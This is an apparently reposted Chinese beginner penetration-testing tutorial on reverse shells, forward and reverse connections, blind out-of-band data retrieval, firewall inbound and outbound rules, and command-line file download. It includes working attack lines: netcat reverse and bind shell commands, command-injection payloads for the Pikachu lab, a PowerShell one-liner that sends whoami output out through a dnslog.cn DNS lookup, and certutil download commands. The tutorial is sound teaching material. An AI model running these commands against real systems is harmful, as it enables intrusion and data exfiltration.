从零开始学习网络安全渗透测试之基础入门篇——(四)反弹SHELL不回显带外正反向连接防火墙出入站文件上传下载

news2024/11/16 22:22:42

一、反弹SHELL

反弹SHELL(Reverse Shell)是一种网络攻击技术,它允许攻击者在一个被入侵的计算机上执行命令,即使该计算机位于防火墙或NAT(网络地址转换)之后。通常,当攻击者无法直接连接到目标机器时,他们会使用反弹SHELL来绕过这些网络障碍。
在这里插入图片描述

以下是反弹SHELL的基本概念和工作原理:

基本概念

  1. Shell:在计算机术语中,Shell是一个命令行界面,允许用户执行操作系统的命令。
  2. 反弹(Reverse):与传统连接不同,在反弹连接中,目标机器(通常是受害者)会主动发起连接到攻击者的机器。

工作原理

  1. 攻击者设置监听:攻击者会在自己的机器上设置一个监听器,准备接收来自目标机器的连接。
  2. 诱导执行恶意代码:攻击者通过各种手段(如钓鱼、漏洞利用等)在目标机器上执行一段恶意代码。
  3. 恶意代码发起连接:这段恶意代码会在目标机器上执行,它会尝试连接到攻击者设置好的监听端口。
  4. 建立连接:一旦连接建立,攻击者就可以在目标机器上执行命令,就像直接操作该机器一样。

为什么使用反弹SHELL

  • 绕过防火墙:许多防火墙配置为仅允许出站连接,而不允许入站连接。反弹SHELL通过让目标机器发起出站连接来绕过这一限制。
  • NAT和DMZ穿越:在NAT或DMZ(隔离区)环境中,外部机器通常不能直接连接到内部网络。反弹SHELL允许内部机器主动连接到外部。
  • 匿名性:攻击者不需要暴露自己的IP地址,因为连接是由受害者发起的。

关于反弹SHELL的实际攻击案例,可以从几个不同的角度来理解。反弹SHELL是一种网络攻击技术,攻击者利用这种技术在受害者的计算机上建立一个可以远程控制的Shell环境。这种攻击通常用于远程控制受害者的计算机,以执行各种操作。

反弹SHELL的工作原理

反弹SHELL的基本原理是:攻击者在其自己的机器上设置监听端口,然后诱使受害者的机器执行一个反向连接的Shell命令,连接回攻击者的机器。这样,攻击者就能通过这个反向连接执行命令,控制受害者的计算机。

实现反弹SHELL的方法

攻击者通常会使用诸如Netcat、Python、Bash等工具和脚本来实施反弹SHELL。例如,使用Netcat的命令可能是:nc -e /bin/sh 目标IP 目标端口,这条命令会从受害者机器上启动一个Shell,并将其连接到攻击者的监听端口上。nc工具,Linux自带,windows不自带。
windows:

nc -e cmd -lvvp 5566

linux:

ncat sec123.cc 5566
ncat -e /bin/sh -lvvp 5566

二、正反向连接

正向连接和反向连接是网络通信中两种不同的连接方式,特别是在反弹Shell的场景中,这两种连接方式有着重要的应用。

正向连接(Forward Connection)

正向连接是指客户端主动发起连接到服务器端的模式。在这种模式下,客户端知道服务器端的IP地址和监听端口,因此可以主动向服务器发起连接。
特点:

  • 客户端主动发起连接。
  • 服务器端必须有一个可访问的IP地址和开放的端口。
  • 如果服务器端位于防火墙或NAT后面,且没有正确配置端口转发,客户端可能无法建立连接。
    示例:
  • 使用浏览器访问网站时,浏览器(客户端)会向网站服务器发起正向连接。

反向连接(Reverse Connection)

反向连接是指服务器端主动发起连接到客户端的模式。在反弹Shell的场景中,这通常意味着攻击者的机器作为“客户端”,而被入侵的机器(受害者)作为“服务器端”主动发起连接。
特点:

  • 服务器端(实际上是受害者)主动发起连接到客户端(实际上是攻击者)。
  • 这种方式可以绕过防火墙和NAT的限制,因为大多数防火墙允许出站连接。
  • 攻击者不需要暴露自己的IP地址和端口,增加了攻击的隐蔽性。
    示例:
  • 攻击者在自己的机器上设置一个监听器,然后诱导受害者的机器执行一个脚本或程序,该脚本或程序会使受害者的机器主动连接到攻击者的监听端口。
    在这里插入图片描述

反弹Shell中的正向连接与反向连接

在反弹Shell的场景中,正向连接和反向连接的区别如下:

  • 正向反弹连接:攻击者尝试直接连接到受害者的机器上,但由于受害者机器可能位于防火墙或NAT后面,这种连接可能会失败。
  • 反向反弹连接:攻击者在自己的机器上设置监听器,然后诱导受害者机器执行一个反向Shell脚本,使受害者机器主动连接到攻击者的监听端口。这种方式更可能成功,因为它不依赖于受害者机器的网络配置。
    在实际的网络安全实践中,反向连接是反弹Shell攻击中更为常见和有效的方式。

三、不回显带外查询

皮卡丘漏洞平台演示RCE漏洞:

  • exec “ping”:在这个关卡中,后台会对用户输入的IP地址进行ping测试。攻击者可以利用这个功能执行其他系统命令。例如,输入127.0.0.1 && whoami可以执行whoami命令,显示当前用户信息。同样,通过输入127.0.0.1 && dir可以查看当前路径下的文件列表,而127.0.0.1 && type C:\Windows\win.ini可以查看特定文件的内容。
  • exec “eval”:这个关卡中,后台将用户的输入作为代码的一部分执行,从而造成远程代码执行漏洞。例如,输入phpinfo();会执行phpinfo函数,显示PHP的配置信息。更危险的是,攻击者可以通过这种方式上传木马文件,并通过Web界面连接到该木马,从而控制系统。

不带回显的带外查询

http://dnslog.cn/
不带回显的带外查询(Out-of-Band, OoB)是一种渗透测试技术,主要用于在无法直接从目标系统获取信息的情况下获取数据。这种技术在盲注攻击中特别有用,尤其是在以下情况下:

  1. 无回显环境:攻击者无法直接从目标系统接收到执行命令的输出。
  2. 受限制的网络:目标系统位于防火墙或NAT后面,或者网络策略限制了直接的数据传输。

带外查询的工作原理

在不带回显的环境中,攻击者通常会利用以下方法进行带外查询:

  1. DNS查询:攻击者可以诱使目标系统向他们控制的DNS服务器发送DNS查询。查询结果(例如,查询的域名)可以包含攻击者想要获取的信息。
  2. HTTP请求:攻击者可以诱导目标系统向他们控制的Web服务器发起HTTP请求。请求的URL或HTTP头可以包含攻击者想要获取的数据。
  3. 数据库功能:在某些情况下,攻击者可以利用数据库的特定功能(如MySQL的LOAD_FILE()SELECT ... INTO OUTFILE)来写入或读取文件,这些文件可以被外部服务器访问。

带外查询的步骤

以下是不带回显带外查询的一般步骤:

  1. 识别漏洞:确定目标系统是否存在可以用于带外数据传输的漏洞。
  2. 控制数据传输:构造特定的输入,使得目标系统在处理这些输入时会产生带外通信。
  3. 监听带外通道:在攻击者的控制下设置服务器,监听来自目标系统的带外通信。
  4. 提取信息:从带外通道接收到的数据中提取所需的信息。

实际应用案例

  • SQL盲注:在SQL盲注攻击中,攻击者无法直接从数据库获取数据。通过构造特定的SQL查询,攻击者可以诱使数据库向攻击者控制的DNS服务器发送查询,从而获取数据。
  • XXE攻击:在XML外部实体(XXE)攻击中,攻击者可以诱使应用程序向外部服务器发送包含敏感信息的HTTP请求。

WINDOWS服务器的案例

powershell $x=whoami;$x=$x.Replace('\','xxxx');$y='.ybhyv7.dnslog.cn';$z=$x+$y;ping $z;

  • 名称介绍:https://www.cnblogs.com/sunny11/p/13583083.html
  • 文件下载:https://forum.ywhack.com/bountytips.php?download
  • 反弹Shell:https://forum.ywhack.com/reverse-shell/
  • 命令学习:https://blog.csdn.net/weixin_43303273/article/details/83029138

四、防火墙出入站

防火墙是网络安全的重要组成部分,它通过监控和控制进出网络的数据流来保护网络不受未经授权的访问和攻击。在防火墙的设置中,通常会区分“出站”(Outbound)和“入站”(Inbound)规则。

出站规则(Outbound Rules)

出站规则是指那些控制从内部网络到外部网络(例如互联网)的数据流量的规则。这些规则主要用于:

  • 限制对外部资源的访问:例如,阻止访问某些网站或服务。
  • 监控和记录出站流量:帮助检测潜在的恶意活动,如数据泄露或病毒传播。
  • 控制特定服务的出站流量:例如,限制文件共享服务的出站连接。
    出站规则的特点:
  • 通常更宽松,因为内部设备发起的连接通常被认为是可信的。
  • 可以防止内部设备成为攻击他人的跳板(例如,僵尸网络)。
  • 可能需要允许某些类型的出站连接,如电子邮件服务。

入站规则(Inbound Rules)

入站规则是指那些控制从外部网络到内部网络的数据流量的规则。这些规则主要用于:

  • 保护内部资源:例如,只允许特定的IP地址或服务访问内部服务器。
  • 阻止已知攻击:通过阻塞与已知恶意活动相关的流量。
  • 限制端口和服务:例如,关闭不必要的端口和服务以减少潜在的攻击面。
    入站规则的特点:
  • 通常更严格,因为外部连接可能包含恶意流量。
  • 是网络防御的第一道防线,需要仔细配置以仅允许必要的流量通过。
  • 需要定期更新以应对新的安全威胁。

五、文件上传下载

解决无图形化的文件上传下载
解决数据传输
在线工具
在这里插入图片描述
在Windows下,您可以通过几种不同的命令行工具来下载文件。以下是一些常用的方法:

使用curl

curl是一个在多种操作系统上都可以使用的工具,用于数据传输。如果您的Windows系统中已经安装了curl,您可以使用以下命令下载文件:

curl -O [URL]

这里的-O参数告诉curl将下载的文件保存为命令行中指定的文件名。
例如:

curl -O https://example.com/file.zip

使用wget

wget是另一个常用的命令行下载工具。在Windows上,您可能需要先下载并安装wget。安装完成后,您可以使用以下命令下载文件:

wget [URL]

例如:

wget https://example.com/file.zip

使用PowerShell

如果您使用的是PowerShell,可以使用以下命令下载文件:

Invoke-WebRequest -Uri [URL] -OutFile [文件路径]

例如:

Invoke-WebRequest -Uri https://example.com/file.zip -OutFile C:\Users\YourUsername\Downloads\file.zip

这将会把文件保存到指定的路径。

使用CertUtil

CertUtil是Windows内置的一个工具,通常用于管理证书,但它也可以用来下载文件:

certutil -urlcache -split -f [URL] [保存的文件名]

例如:

certutil -urlcache -split -f https://example.com/file.zip file.zip

请确保将上述命令中的[URL][文件路径]替换为实际的URL和你希望保存文件的路径。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1956250.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用SpringEvent解决WebUploader大文件上传解耦问题

目录 前言 一、SpringEvent涉及的相关组件 1、 事件(Event) 2、事件监听器 3、事件发布器 二、WebUploader大文件处理的相关事件分析 1、事件发布的时机 2、事件发布的代码 三、事件监听器及实际的业务处理 1、文件上传处理枚举 2、文件上传监…

[红明谷CTF 2021]write_shell 1

目录 代码审计check()$_GET["action"] ?? "" 解题 代码审计 <?php error_reporting(0); highlight_file(__FILE__); function check($input){if(preg_match("/| |_|php|;|~|\\^|\\|eval|{|}/i",$input)){// if(preg_match("/| |_||p…

科普文:万字梳理31个Kafka问题

1、 kafka 是什么,有什么作用 2、Kafka为什么这么快 3、Kafka架构及名词解释 4、Kafka中的AR、ISR、OSR代表什么 5、HW、LEO代表什么 6、ISR收缩性 7、kafka follower如何与leader同步数据 8、Zookeeper 在 Kafka 中的作用&#xff08;早期&#xff09; 9、Kafka如何快…

软件测试的实质

一、软件缺陷定义 软件未实现产品说明书要求的功能软件出现了产品说明书指明不应该出现的错误软件实现了产品说明书未提到的功能&#xff1b;如罕见未实现产品说明书虽未明确提及但应该实现的目标软件难以理解、不易使用、运行速度慢&#xff0c;或者软件测试员认为最终用户会…

java——集合介绍【汇总】

一、集合的理解和好处 1.1、数组的不足 1、长度开始时必须指定&#xff0c;而且一旦指定&#xff0c;不能更改 2、保存的必须为同一类型的元素 3、使用数组进行增删&#xff0c;比较麻烦 1.2、集合 1、可以动态保存任意多个对象&#xff0c;使用比较方便! 2、提供了一系…

【前端 16】使用Ajax发送异步请求

Ajax 基础入门&#xff1a;实现异步请求 Ajax&#xff08;Asynchronous JavaScript and XML&#xff09;是一种在无需重新加载整个网页的情况下&#xff0c;能够更新部分网页的技术。通过使用 Ajax&#xff0c;可以在后台与服务器交换数据&#xff0c;这意味着可以在不影响用户…

解决hook汇编代码时空间不足的一种方法

思路&#xff1a;如下图&#xff0c;使用两条jmp指令。原内存地址使用一条jmp指令跳转到新开辟的内存空间(VirtualAlloc或者VirtualAllocEx函数&#xff09;&#xff0c;在新开辟的内存空间完成处理之后再使用jmp指令跳转到原内存地址合适的位置&#xff08;通常是原内存处被ho…

华为诺亚发布无限上下文大模型,超越SoTA 4.3%

你的大语言模型是不是也患上了"长文健忘症"&#xff1f;当使用大模型遇到长上下文时总是会出现词不达意&#xff1f;别担心&#xff0c;LLM界的"记忆大师"来啦&#xff01;华为诺亚方舟实验室最新推出的EM-LLM模型&#xff0c;就像是给大模型装上了"超…

光伏混合储能直流微网直流母线电压下垂控制MATLAB仿真

微❤关注“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 模型简介 此模型以混合储能系统为研究对象&#xff0c;采用基于关联参数SOC的改进下垂控制策略&#xff0c;将初始下垂系数与储能单元SOC的n次幂的比值作为现行下垂系数&#xff0c;通过改变n值&#xff0c;…

2.5 C#视觉程序开发实例2----图片内存管理

2.5 C#视觉程序开发实例2----图片内存管理 1 目标效果视频 mat-buffer 2 Mat 数组的定义 3 图片内存使用场合说明 3.1 程序加载或者切换程序时 3.2 设定时&#xff0c;注册图片 例如注册一个线速的图片 注册流程说明 3.3 外部触发时采集最新图片或者按钮点击时触发拍照 …

计算机毕业设计碾压导师Python+Django农产品推荐系统 农产品爬虫 农产品商城 农产品大数据 农产品数据分析可视化 PySpark Hadoop

基于Spark的农产品个性推荐系统 相关技术介绍: 1. Python Python是一种高级编程语言&#xff0c;具有简洁、易读、易学的特点&#xff0c;被广泛应用于Web开发、数据分析、人工智能等领域。 在此系统中&#xff0c;我们使用Python进行后端开发&#xff0c;利用其强大的语法…

图形引擎实战:Unity性能分析工具原理介绍

最近在维护一个Unity性能分析工具&#xff0c;类似UPR&#xff0c;客户端采集信息&#xff0c;WEB端显示数据。下面简单介绍下原理。 数据来源 Profiler数据 熟悉Unity的同学对Profiler一定不会陌生&#xff0c;我们的性能数据主要来源于它&#xff0c;主要包含函数耗时&…

Linux基础操作(下)

软件安装&#xff0c;CentOS系统和Ubuntu是使用不同的包管理器 CentOS使用yum管理器&#xff0c;Ubuntu使用apt管理器 在CentOS系统中&#xff0c;使用yum命令联网管理软件安装 yum语法: yum [-y] [install | remove | search ] 软件名称 在Ubuntu系统中&#xff0c;使用apt命…

如何跨越 LangChain 应用研发的最后一公里

说 [LangChain] 是现在最流行的 AI 应用开发框架&#xff0c;应该没有人出来反对吧。LangChain 的出现极大地简化了基于大型语言模型&#xff08;LLM&#xff09;的 AI 应用构建难度&#xff0c;如果把 AI 应用比作一个人的话&#xff0c;那么 LLM 相当于这个人的“大脑”&…

FRP配置内网穿透52版本以上适用

简述 适用frp配置内网穿透来说我们需要进行简单的区分&#xff0c;具有公网IP的服务器我们简称为服务端&#xff0c;内网的服务器我们可以简称为客户端&#xff0c;frp需要针对不同的服务器配置不同的文件 下载安装包 Linux下载地址 https://github.com/fatedier/frp/relea…

数据丢失不用愁!这四款数据恢复大师免费版助你找回珍贵回忆

我们在办公或者是生活中常常会遇到不小心将手机设备或者计算机当中的重要数据误删除/格式化/或其他不小心丢失的情况&#xff0c;但是不用紧张&#xff0c;这篇文章就是给大家分享如何恢复他们&#xff0c;以下带来除易我数据恢复外的其他好用的数据恢复软件&#xff1a; 第一…

后端笔记(2)--JDBC

1.JDBC简介 *JDBC(Java DataBase Connectivity)就是使用java语言操作关系型数据库的一套API *JDBC本质&#xff1a;&#xff08;可以使用同一套代码&#xff0c;操作不同的关系型数据库&#xff09; ​ *官方定义的一套操作所有关系型数据库的规则&#xff0c;即接口 ​ *各…

2024年巴黎奥运会奖牌榜数据源:各国选手为荣誉而战!

奥运会是全球瞩目的盛会&#xff0c;每四年举办一次&#xff0c;汇集了来自超过200个国家的优秀运动员参与夏季和冬季的400多场比赛。这是一项真正的全球综合性运动会&#xff0c;各个国家选手为了荣誉和国家的面子而激烈竞争。2024年的巴黎奥运会将是一场令人期待的盛宴&#…

C语言——选择结构

C语言——选择结构 关系运算符及关系表达式关系运算符关系表达式 逻辑运算符和逻辑表达式逻辑运算符逻辑表达式 选择语句if语句条件运算符switch case语句 关系运算符及关系表达式 关系运算符 关系运算实际上是比较运算&#xff0c;C语言提供了六种关系运算符分别为&#xff…

Go语言教程(一看就会)

全篇文章 7000 字左右&#xff0c; 建议阅读时长 1h 以上。 Go语言是一门开源的编程语言&#xff0c;目的在于降低构建简单、可靠、高效软件的门槛。Go平衡了底层系统语言的能力&#xff0c;以及在现代语言中所见到的高级特性。它是快速的、静态类型编译语言。 第一个GO程序…